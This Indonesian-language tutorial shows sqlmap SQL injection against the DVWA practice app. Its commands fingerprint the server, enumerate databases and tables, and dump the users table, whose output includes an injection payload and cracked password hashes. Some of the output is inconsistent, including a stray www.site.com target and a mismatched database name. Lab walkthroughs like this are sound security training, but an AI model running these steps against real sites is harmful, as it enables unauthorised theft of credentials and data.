Teknik Hacking dengan sqlmap

chmood
   

    Pada tutorial ini kita akan belajar cara menggunakan sqlmap untuk melakukan exploit terhadap aplikasi web yang vulnerable. Untuk memahami tutorial ini kita harus mempunyai dasar pengetahuan mengenai cara kerja database berintegrasi dengan aplikasi web.

Vulnerable Urls

Url web yang akan kita test adalah:
http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Untuk menguji vulnerable aplikasi terhadap sql injection, tambahkan tanda petik tunggal setelah id=1
http://localhost/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit
Jika muncul errror, berarti aplikasi web tersebut vulnerable terhadap serangan sql injection.

Hacking dengan sqlmap

Sekarang kita mulai gunakan tool sqlmap untuk memulai serangan:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3"
Perintah diatas digunakan untuk mengetahui apakah parameter diatas vulnerable terhadap sql injection atau tidak. Dan juga informasi yang terkait dengan sistem yang digunakan. Berikut hasil dari perintah diatas:
[*] starting at 12:10:33

[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
sqlmap menemukan jenis sistem operasi, nama web server dan database berikut versinya.

Mencari Database

Langkah berikutnya adalah mencari nama databasenya. kita gunakan opsi “–dbs” untuk melihat list database:
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --dbs
Output dari perintah tersebut sebagai berikut:
[*] starting at 12:12:56

[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] dvwa
Ada 2 database yang ditampilkan dari perintah diatas: information_schema dan dvwa

Melihat Tabel pada suatu Database

Berikutnya kita ingin mengetahui tabel dari database, dalam hal ini kita ingin mengetahui isi tabel dari database ‘dvwa’
Perintahnya:
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --tables -D dvwa
Output dari perintah diatas adalah:
[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+
...........
Ada 2 tabel dalam database “dvwa” yaitu guestbook dan users

Melihat Kolom dari suatu Tabel

Langkah berikutnya adalah melihat isi tabel. Tabel yang dipilih tentunya yang mengandung user dan password, dalam hal ini kita akan melihat kolom dari tabel “users”
$ python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit"  --cookie="security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3" --columns -D dvwa -T users
Output dari perintah diatas sebagai berikut:
[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: Ubuntu
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+
Ada beberapa kolom dalam tabel user yang didalamnya terdapat nama user dan password

Melihat Data dalam suatu Tabel

Setelah berhasil mengetahui isi kolom dalam tabel, langkah berkutnya adalah melihat isi dari tabel “users”
Perintahnya:
$ python sqlmap.py -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”security=low; security_level=0; PHPSESSID=6uum1pbmgosbfetens6es2cai3″ –dump -D dvwa -T users
Hasil dari perintah diatas adalah sebagai berikut:
Database: dvwa
Table: users
[5 entries]
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+
| user_id | user    | avatar                                           | passwor
d                                    | last_name | first_name |
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+
| 1       | admin   | http://localhost/dvwa/hackable/users/admin.jpg   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      |
| 2       | gordonb | http://localhost/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://localhost/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://localhost/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://localhost/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+--------------------------------------------------+--------
-------------------------------------+-----------+------------+

good job! sqlmap berhasil melakukan tugasnya dengan baik..:-)
                                               
Komentar